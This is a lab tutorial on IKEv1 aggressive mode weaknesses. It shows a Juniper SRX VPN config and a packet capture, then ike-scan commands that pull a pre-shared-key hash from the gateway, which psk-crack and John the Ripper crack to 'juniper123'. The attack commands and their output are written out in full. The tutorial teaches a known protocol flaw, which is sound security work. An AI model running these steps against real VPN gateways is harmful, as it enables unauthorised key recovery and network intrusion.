An exploration of the Intenet Key Exchange (IKE) version 1, IKE version 2, and the different modes in which it operates, aggressive, main and quick.
To demonstrate some of the weaknesses of Aggressive Mode, we'll have an attacker probe SRX-13 when it is operating in aggressive mode and see if we can recover the pre-shared-key.
The configuration for SRX-13 for aggressive-mode is shown below.
SRX-13 IKEv1 Aggressive Mode Configuration
[edit security]
juniper@SRX-13# show
ike {
traceoptions {
file ike.log size 10m;
flag ike;
}
proposal IKE-PROPOSAL {
authentication-method pre-shared-keys;
dh-group group1;
authentication-algorithm md5;
encryption-algorithm des-cbc;
lifetime-seconds 86400;
}
policy IKE-POLICY {
mode aggressive;
proposals IKE-PROPOSAL;
pre-shared-key ascii-text "$9$cberK8-VYZUHX7UHqmF3SrevX7dbs4JG"; ## SECRET-DATA
}
gateway SRX-11 {
ike-policy IKE-POLICY;
dynamic hostname srx11;
external-interface lo0.0;
version v1-only;
}
}
ipsec {
proposal IPSEC-PROPOSAL {
protocol esp;
authentication-algorithm hmac-md5-96;
encryption-algorithm aes-128-cbc;
lifetime-seconds 1200;
}
policy IPSEC-POLICY {
proposals IPSEC-PROPOSAL;
}
vpn SRX-11 {
bind-interface st0.0;
ike {
gateway SRX-11;
ipsec-policy IPSEC-POLICY;
}
establish-tunnels on-traffic;
}
}
We'll use ike-scan on the attacker box shown in the network diagram to probe SRX-13. ike-can can poke, prode and probe a box running IKE in just about everyway possible.
Junos won't respond back to an initiator using aggressive-mode unless the proposal is acceptable. To get a response, we need to match all of the parameters sent over in the first packet exactly. Although this may seem daunting, it is trivial to simply loop through all of the parameters using a shell script until the proper combination is found. Our attacker doesn't have to guess all of the parameters, as it's in a position to capture an IKEv1 aggressive mode exchange between SRX-11 and SRX-13. The captured exchange IKEv1-aggressive-dynamic.pcap can be downloaded for your viewing pleasure.
First packet from captured aggressive mode IKE exchange between SRX-11 and SRX-13
root@attacker:~# tcpdump -nvr IKEv1-aggressive-dynamic.pcap
reading from file IKEv1-aggressive-dynamic.pcap, link-type EN10MB (Ethernet)
20:59:00.182845 IP (tos 0xc0, ttl 64, id 6243, offset 0, flags [none], proto UDP (17), length 445)
192.168.11.11.500 > 192.168.13.13.500: isakmp 1.0 msgid 00000000: phase 1 I agg:
(sa: doi=ipsec situation=identity
(p: #1 protoid=isakmp transform=1 spi=a6fe2f1566318a1f
(t: #0 id=ike (type=enc value=1des)(type=group desc value=modp768)(type=hash value=md5)(type=lifetype value=sec)(type=lifeduration len=4 value=00015180)(type=auth value=preshared))))
(ke: key len=96)
(nonce: n len=16)
(id: idtype=FQDN protoid=0 port=0 len=5 srx11)
(vid: len=16)
(vid: len=16)
(vid: len=16)
(vid: len=16)
(vid: len=16)
(vid: len=16)
(vid: len=16)
(vid: len=16)
(vid: len=28)
The ike-scan parameters that match our IKE proposal and policy above that illicit a reponse from SRX-13 are translated from the packet capture to the numbers specified in the Internet Key Exchange (IKE) Attributes IANA document. These are fed in as the following switches: -A specifies the address of the IKE responder, --trans=1,1,1,1 specifies the encryption algorithim, hash algorithm, athentication type, and the Diffie-Hellmen-Merkel group number. Here, 1,1,1,1 , corresponds to DES, MD5, Preshared Keys and Group 1. The idtype is specified as 2, a Fully Qualifiied Domain Name, with a value of srx11. The multiline switch makes the output easier to read by spliting it over multiple lines, and finally the P switch instructs ike-scan to save the pre-shared key to a file for later cracking.
Capturing the hash from SRX-13
root@attacker:~# ike-scan -A 192.168.13.13 --multiline --trans=1,1,1,1 --idtype=2 --id=srx11 -P ike.psk Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.13.13 Aggressive Mode Handshake returned HDR=(CKY-R=303e070908f11d00) SA=(Enc=DES Hash=MD5 Auth=PSK Group=1:modp768 LifeType=Seconds LifeDuration(4)=0x00007080) KeyExchange(96 bytes) Nonce(16 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.13.13) Hash(16 bytes) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=27bab5dc01ea0760ea4e3190ac27c0d0 (draft-stenberg-ipsec-nat-traversal-01) VID=6105c422e76847e43f9684801292aecd (draft-stenberg-ipsec-nat-traversal-02) VID=4485152d18b6bbcd0be8a8469579ddcc (draft-ietf-ipsec-nat-t-ike-00) VID=cd60464335df21f87cfdb2fc68b6a448 (draft-ietf-ipsec-nat-t-ike-02) VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n) VID=7d9419a65310ca6f2c179d9215529d56 (draft-ietf-ipsec-nat-t-ike-03) VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T) VID=699369228741c6d4ca094c93e242c9de19e7b7c60000000500000500 (Netscreen-06) IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r): 4d4fec6998e78d39f6b282c3a9c8aa7e3e51a627b64d6d050e224180a8807d9fb223bcdc285220fc4c5152e9a333c170d16166e1320b0a8336d006d50da1fa5612b50bb52f39102072bd813f62778f8ba26cfcbef763bc5c40e6ad401a4970c3:fb47714b4acb398c581f2c99091ecb8bbbf1dcd3b7fa831be6a82fda82d8843c7e91862429b86d4958b5b8a267893a86fa3ead5c1291566c38451c813aebba3f8cf671c532de615cb9d8ba9cb69913be740abe0c6c4dddd636066a95ef49b9b9:303e070908f11d00:5d610d5c5349bd02:00000001000000010000002c01010001000000240101000080010001800200018003000180040001800b0001000c000400007080:01000000c0a80d0d:c8a2a3ba91109f68f1be1cd08dca4d86d45da0b5:a01537acf2a9bb35d472c05770e74dba:30110062af8ab4fa97c714c2269d0c45 Ending ike-scan 1.9: 1 hosts scanned in 0.063 seconds (15.92 hosts/sec). 1 returned handshake; 0 returned notify root@attacker:~#
The preshared key can then be guessed via a brute force attack, or with a dictionary using psk-crack whick is part of the ike-scan suite.. We'll use a dictionary called "dictionary" for our password guessing to try to speed things up.
Guessing aggressive mode pre-shared key with psk-crack
root@attacker:~# psk-crack -d dictionary -v ike.psk Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/) Loaded 1 PSK entries from ike.psk Running in dictionary cracking mode key "juniper123" matches MD5 hash 9a7a1944f419801d4825775345f75b79 Ending psk-crack: 6 iterations in 0.002 seconds (2965.89 iterations/sec) root@attacker:~#
The recovered pre-shared key of juniper123 matches what was placed in the configuraion (no collisions this time).
We can also use the latest git version of John the Ripper with all of the patches to crack out IKE hashes.
Fetching the unstable patched version of John the Ripper
git clone git://github.com/magnumripper/JohnTheRipper -b unstable-jumbo unstable-jumbo cd unstable-jumbo/src make linux-x86-64-avx
The saved hash first needs to be converted to a format that John the Ripper can recognize with the ikescan2john.py utility.
Format conversion of IKE hash for John the Ripper
cd ../run/ naughtyguy@attacker:~/src/unstable-jumbo/run$ ./ikescan2john.py /home/naughtyguy/ike.psk $ike$*0*d8c221165c71c05179ec7272af16fc87a8ab787d7990f4e7a615791076d71bd9153f12a440ea7fd6646427b1de3c00b9d72208990c24ea971c378f59776279e43f78d9fbeeaf4e7cd51baadd7c746ab71cfe4a49269eb402a5c5616630119d68*ab57426d431e96068d70c34be729d946c8de624bb228abf9c6880126fb1dcb5f38f691423d7466851a625488794d5829ca81c59cd555f299711175c72d61e6f62bee269b179b636d0d69cdc16065d8aa6de49f4805e8313795f8fbe559b7e05a*f2a05a833f1f113d*41f8a25608fc7083*00000001000000010000002c01010001000000240101000080010001800200018003000180040001800b0001000c000400007080*01000000c0a80d0d*3530995352a425883445cce13d14d61b405377bb*b5f888077b996dbf2a28f7ff341a4717*9a7a1944f419801d4825775345f75b79 naughtyguy@attacker:~/src/unstable-jumbo/run$ ./ikescan2john.py ~/ike.psk > ike.john
And finally the pre-shared key can be cracked out with John
Guessing aggressive mode pre-shared key with John the Ripper
naughtyguy@attacker:~/src/unstable-jumbo/run$ ./john -wordlist=dictionary -rules ike.john Loaded 1 password hash (IKE PSK HMAC-MD5 / HMAC-SHA1 [32/64]) juniper123 (?) guesses: 1 time: 0:00:00:00 DONE (Tue Feb 4 16:53:56 2014) c/s: 106 trying: cisco123 - netscreens Use the "--show" option to display all of the cracked passwords reliably naughtyguy@attacker:~/src/unstable-jumbo/run$
And the pre-shared-key is once again, succesfully recovered.